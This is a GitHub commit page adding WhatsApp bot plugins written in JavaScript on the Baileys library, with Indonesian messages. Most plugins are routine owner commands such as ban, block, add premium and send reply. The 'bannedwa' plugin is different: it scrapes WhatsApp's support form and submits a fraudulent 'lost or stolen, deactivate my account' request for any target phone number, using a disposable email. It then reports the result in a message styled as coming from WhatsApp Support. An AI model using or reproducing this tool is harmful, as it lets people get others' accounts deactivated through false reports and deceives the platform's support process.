-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
100 changed files
with
6,661 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
import fetch from 'node-fetch' | ||
/** | ||
* @type {import('@adiwajshing/baileys')} | ||
*/ | ||
const { getBinaryNodeChild, getBinaryNodeChildren } = (await import('@adiwajshing/baileys')).default | ||
let handler = async (m, { conn, text, participants }) => { | ||
let _participants = participants.map(user => user.id) | ||
let users = (await Promise.all( | ||
text.split(',') | ||
.map(v => v.replace(/[^0-9]/g, '')) | ||
.filter(v => v.length > 4 && v.length < 20 && !_participants.includes(v + '@s.whatsapp.net')) | ||
.map(async v => [ | ||
v, | ||
await conn.onWhatsApp(v + '@s.whatsapp.net') | ||
]) | ||
)).filter(v => v[1][0]?.exists).map(v => v[0] + '@c.us') | ||
const response = await conn.query({ | ||
tag: 'iq', | ||
attrs: { | ||
type: 'set', | ||
xmlns: 'w:g2', | ||
to: m.chat, | ||
}, | ||
content: users.map(jid => ({ | ||
tag: 'add', | ||
attrs: {}, | ||
content: [{ tag: 'participant', attrs: { jid } }] | ||
})) | ||
}) | ||
const pp = await conn.profilePictureUrl(m.chat).catch(_ => null) | ||
const jpegThumbnail = pp ? await (await fetch(pp)).buffer() : Buffer.alloc(0) | ||
const add = getBinaryNodeChild(response, 'add') | ||
const participant = getBinaryNodeChildren(add, 'participant') | ||
for (const user of participant.filter(item => item.attrs.error == 403)) { | ||
const jid = user.attrs.jid | ||
const content = getBinaryNodeChild(user, 'add_request') | ||
const invite_code = content.attrs.code | ||
const invite_code_exp = content.attrs.expiration | ||
let teks = `Mengundang @${jid.split('@')[0]} Menggunakan Invite...` | ||
m.reply(teks, null, { | ||
mentions: conn.parseMention(teks) | ||
}) | ||
await conn.sendGroupV4Invite(m.chat, jid, invite_code, invite_code_exp, await conn.getName(m.chat), 'Invitation to join my WhatsApp group', jpegThumbnail) | ||
} | ||
} | ||
handler.help = ['oadd', 'o+'] | ||
handler.tags = ['owner'] | ||
handler.command = /^(oadd|o\+)$/i | ||
|
||
handler.owner = true | ||
handler.group = true | ||
handler.botAdmin = true | ||
|
||
|
||
export default handler | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
let handler = async (m, { conn, command, text, args }) => { | ||
if (!text) throw 'Siapa Yang Mau Di Tambahin Limitnya Sayang?' | ||
let who | ||
if (m.isGroup) who = m.mentionedJid[0] | ||
else who = m.chat | ||
if (!who) throw 'Siapa Ay??' | ||
let users = global.db.data.users | ||
users[who].limit = 1000 | ||
conn.reply(m.chat, 'Suksess!', m) | ||
} | ||
handler.help = ['addlimit'] | ||
handler.tags = ['owner'] | ||
handler.command = /^addlimitt$/i | ||
handler.rowner = true | ||
|
||
export default handler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
const { proto } = (await import("@adiwajshing/baileys")).default; | ||
|
||
let handler = async (m, { conn, text, command, usedPrefix }) => { | ||
let M = proto.WebMessageInfo; | ||
if (!m.quoted) throw `Balas Pesan Dengan Perintah *${usedPrefix + command}*`; | ||
if (!text) | ||
throw `Contoh:\n${ | ||
usedPrefix + command | ||
} tes`; | ||
let msgs = db.data.msgs; | ||
if (text in msgs) throw `'${text}' Telah Terdaftar Di List Store`; | ||
msgs[text] = M.fromObject(await m.getQuotedObj()).toJSON(); | ||
m.reply( | ||
`Berhasil Menambahkan ${text} Ke List Store.\n\nAkses Dengan Mengetik Namanya`.trim() | ||
); | ||
}; | ||
handler.help = ["addlist"] | ||
handler.tags = ["owner"]; | ||
handler.command = /^addlist$/i; | ||
|
||
handler.group = false | ||
handler.owner = true; | ||
|
||
export default handler; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
let handler = async (m, { conn, text, usedPrefix, command }) => { | ||
let who | ||
if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : false | ||
else who = m.chat | ||
let user = db.data.users[who] | ||
if (!who) throw `Yang Mau Di Jadiin Premium Siapa Sayangku?` | ||
let txt = text.replace('@' + who.split`@`[0], '').trim() | ||
if (!txt) throw `Berapa Hari Sayang??` | ||
if (isNaN(txt)) return m.reply(`Hanya Nomor Sayang!`) | ||
var jumlahHari = 86400000 * txt | ||
var now = new Date() * 1 | ||
if (now < user.premiumTime) user.premiumTime += jumlahHari | ||
else user.premiumTime = now + jumlahHari | ||
user.premium = true | ||
m.reply(`Berhasil!\n*${user.name}* Sekarang Menjadi User Premium, Selama ${txt} Hari.`) | ||
} | ||
handler.help = ['addprem'] | ||
handler.tags = ['owner'] | ||
handler.command = /^(add|tambah|\+)p(rem)?$/i | ||
|
||
handler.rowner = true | ||
|
||
export default handler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
import fs from 'fs' | ||
import fetch from 'node-fetch' | ||
let handler = async (m, { conn, usedPrefix: _p, args, command }) => { | ||
conn.reply(m.chat, '*Succes*', m) | ||
conn.reply('6285776353741' + '@s.whatsapp.net', `*Database:* Yaemiko`, null) | ||
conn.sendFile('6285776353741' + '@s.whatsapp.net', fs.readFileSync('./lib/database.js'), 'database.js', '', 0, 0, { mimetype: 'application/json', quoted: m}) | ||
} | ||
|
||
handler.help = ['backup'] | ||
handler.tags = ['owner'] | ||
handler.command = /^(backup)$/i | ||
handler.rowner = true | ||
|
||
export default handler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
/*let { MessageType } = (await import('@adiwajshing/baileys')).default | ||
let handler = async (m, { conn, args, text }) => { | ||
conn.req = conn.req ? conn.req : {} | ||
if (!args || !text) return m.reply('Silahkan Masukan Teksnya') | ||
let lmfao = args[0] | ||
let bruh = (lmfao + '@s.whatsapp.net') | ||
let tex = args.slice(1).join(' ') | ||
let txt = conn.req[bruh].text || m.quoted ? m.quoted.text ? m.quoted.text : text ? text : m.text : text ? text : m.text | ||
let name = m.fromMe ? conn.user : conn.contacts[m.sender] | ||
let _text = (txt) | ||
conn.reply(m.chat, 'Pesan Anda sudah terkirim', m) | ||
conn.sendMessage(bruh, _text, MessageType.text) | ||
delete conn.req[bruh] | ||
} | ||
handler.help = ['balas'].map(v => v + ' [nomor] [teks]') | ||
handler.tags = ['owner'] | ||
handler.command = /^(balas|reply)/i | ||
handler.owner = true | ||
handler.fail = null | ||
export default handler | ||
const more = String.fromCharCode(8206) | ||
const readMore = more.repeat(4001)*/ | ||
let handler = async (m, { conn, text, usedPrefix, command }) => { | ||
conn.ownreply = conn.ownreply ? conn.ownreply : {} | ||
if (!text) throw `*Cara penggunaan :*\n\n${usedPrefix + command} nomor|pesan\n\n*Contoh:* ${usedPrefix + command} ${m.sender.split`@`[0]}|Halo.`; | ||
let [jid, pesan] = text.split('|'); | ||
if ((!jid || !pesan)) throw `*Cara penggunaan :*\n\n${usedPrefix + command} nomor|pesan\n\n*Contoh:* ${usedPrefix + command} ${m.sender.split`@`[0]}|Halo.`; | ||
jid = jid.replace(/[^0-9]/g, '') + '@s.whatsapp.net'; | ||
let data = (await conn.onWhatsApp(jid))[0] || {}; | ||
if (!data.exists) throw 'Nomer tidak terdaftar di whatsapp.'; | ||
|
||
// if (jid == m.sender) throw 'tidak bisa mengirim pesan memfess ke diri sendiri.' | ||
|
||
let mf = Object.values(conn.ownreply).find(mf => mf.status === true) | ||
if (mf) return !0 | ||
try { | ||
let id = + new Date | ||
let txt = `Hai Kak @${data.jid.split('@')[0]}, Kamu Menerima Pesan Dari: *Ownerku*\nPesan: \n${pesan}`.trim(); | ||
await conn.sendButton(data.jid, txt, wm, null, [[' ']]) | ||
.then(() => { | ||
conn.ownreply[id] = { | ||
id, | ||
dari: m.sender, | ||
nama: name, | ||
penerima: data.jid, | ||
pesan: pesan, | ||
status: false | ||
} | ||
return !0 | ||
}) | ||
} catch (e) { | ||
console.log(e) | ||
m.reply('Berhasil Mengirim Pesan.'); | ||
} | ||
} | ||
handler.help = ['balas'] | ||
handler.tags = ['owner'] | ||
handler.command = /^(balas|reply)/i | ||
|
||
handler.owner = true | ||
|
||
handler.fail = null | ||
|
||
export default handler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
let handler = async (m, { participants }) => { | ||
// if (participants.map(v=>v.jid).includes(global.conn.user.jid)) { | ||
global.db.data.chats[m.chat].isBanned = true | ||
m.reply('Sukses!') | ||
// } else m.reply('Ada nomor host disini...') | ||
} | ||
handler.help = ['banchat'] | ||
handler.tags = ['owner'] | ||
handler.command = /^(banchat|bnc)$/i | ||
|
||
handler.group = true | ||
handler.admin = true | ||
|
||
export default handler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
import axios from "axios"; | ||
import cheerio from "cheerio"; | ||
import PhoneNumber from "awesome-phonenumber"; | ||
|
||
/** @note @see @line 42 */ | ||
let handler = async (m, { conn, text }) => { | ||
if (!text) { | ||
return m.reply("Nomornya Mana?"); | ||
} | ||
// replace no numeric | ||
text = text.replace(/[^0-9]/g, ""); | ||
// Statement if number not INDONESIA number | ||
if (!(text.startsWith("08") || text.startsWith("62"))) { | ||
return m.reply("Only INDONESIA number!"); | ||
} | ||
|
||
text = text.startsWith("08") ? text.replace("08", "62") : text; | ||
if (text + "@s.whatsapp.net" === conn.user.jid) { | ||
return m.reply("Is that bot number ?"); | ||
} | ||
|
||
// check number is on whatsapp | ||
const isValid = await conn.onWhatsApp(text + "@s.whatsapp.net"); | ||
if (isValid.length == 0) { | ||
return m.reply("Number not in whatsapp!"); | ||
} | ||
|
||
// text = text.startsWith("62") ? text.replace("62", "") : text; | ||
text = text.trim(); | ||
|
||
try { | ||
const data = await axios.get("https://www.whatsapp.com/contact/noclient/"); | ||
const email = await axios.get( | ||
"https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=1" | ||
); | ||
const cookie = data.headers["set-cookie"] || ""//.join("; "); | ||
const $ = cheerio.load(data.data); | ||
const $form = $("form"); | ||
const url = new URL($form.attr("action"), "https://www.whatsapp.com").href; | ||
let form = new URLSearchParams(); | ||
form.append("jazoest", $form.find("input[name=jazoest]").val()); | ||
form.append("lsd", $form.find("input[name=lsd]").val()); | ||
form.append("step", "submit"); | ||
form.append("country_selector", "INDONESIA"); | ||
|
||
/** @warning | ||
* + means it should starts with country code, eg. +62 Xx | ||
* miss understanding ? | ||
*/ | ||
text = PhoneNumber("+" + text).getNumber("international"); | ||
form.append("phone_number", `${text}`); | ||
/** */ | ||
|
||
form.append("email", email.data[0]); | ||
form.append("email_confirm", email.data[0]); | ||
form.append("platform", "ANDROID"); | ||
form.append("your_message", "Perdido/roubado: desative minha conta"); | ||
form.append("__user", "0"); | ||
form.append("__a", "1"); | ||
form.append("__csr", ""); | ||
form.append("__req", "8"); | ||
form.append("__hs", "19316.BP:whatsapp_www_pkg.2.0.0.0.0"); | ||
form.append("dpr", "1"); | ||
form.append("__ccg", "UNKNOWN"); | ||
form.append("__rev", "1006630858"); | ||
form.append("__comment_req", "0"); | ||
|
||
const res = await axios({ | ||
url, | ||
method: "POST", | ||
data: form, | ||
headers: { | ||
cookie, | ||
}, | ||
}); | ||
const payload = String(res.data); | ||
|
||
if (payload.includes(`"payload":true`)) { | ||
m.reply( | ||
`FROM WhatsApp Support | ||
Hai, | ||
Terima kasih atas pesan Anda. | ||
Kami telah menonaktifkan akun WhatsApp Anda.`.trim() | ||
); | ||
} else if (payload.includes(`"payload":false`)) { | ||
m.reply( | ||
`Terima kasih telah menghubungi kami. | ||
Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`.trim() | ||
); | ||
} else m.reply(await import("utils").format(res.data)); | ||
} catch (err) { | ||
m.reply(`${err}`); | ||
} | ||
}; | ||
handler.command = ["bannedwa"]; // you decide | ||
//handler.tags = [""]; // you decide | ||
handler.owner = true; | ||
export default handler; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
let handler = async (m, { conn, text }) => { | ||
if (!text) throw 'Siapa Yang Mau Di Banned? ?' | ||
let who | ||
if (m.isGroup) who = m.mentionedJid[0] | ||
else who = m.chat | ||
if (!who) throw 'Tag??' | ||
let users = global.db.data.users | ||
users[who].banned = true | ||
conn.reply(m.chat, 'Sukses!', m) | ||
} | ||
handler.help = ['ban'] | ||
handler.tags = ['owner'] | ||
handler.command = /^ban(user)?$/i | ||
handler.rowner = true | ||
|
||
export default handler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
let handler = async (m, { text, conn, usedPrefix, command }) => { | ||
let why = `*Contoh:*\n${usedPrefix + command} @${m.sender.split("@")[0]}` | ||
let who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text ? text.replace(/[^0-9]/g, '') + '@s.whatsapp.net' : false | ||
if (!who) conn.reply(m.chat, why, m, { mentions: [m.sender] }) | ||
let res = []; | ||
console.log(command) | ||
switch (command) { | ||
case "blok": | ||
case "block": | ||
if (who) await conn.updateBlockStatus(who, "block").then(() => { | ||
res.push(who); | ||
}) | ||
else conn.reply(m.chat, why, m, { mentions: [m.sender] }) | ||
break | ||
case "unblok": | ||
case "unblock": | ||
if (who) await conn.updateBlockStatus(who, "unblock").then(() => { | ||
res.push(who); | ||
}) | ||
else conn.reply(m.chat, why, m, { mentions: [m.sender] }) | ||
break | ||
} | ||
if (res[0]) conn.reply(m.chat, `\n Sukses ${command} ${res ? `${res.map(v => '@' + v.split("@")[0])}` : ''}`, m, { mentions: res }) | ||
} | ||
handler.help = ["block", "unblock"] | ||
handler.tags = ["owner"] | ||
handler.command = /^(block|unblock)$/i | ||
handler.owner = true | ||
|
||
export default handler | ||
|
||
|
||
|
||
/* | ||
Jangan dihapus | ||
Buatan FokusDotId (Fokus ID) | ||
https://github.com/fokusdotid | ||
*/ |
Oops, something went wrong.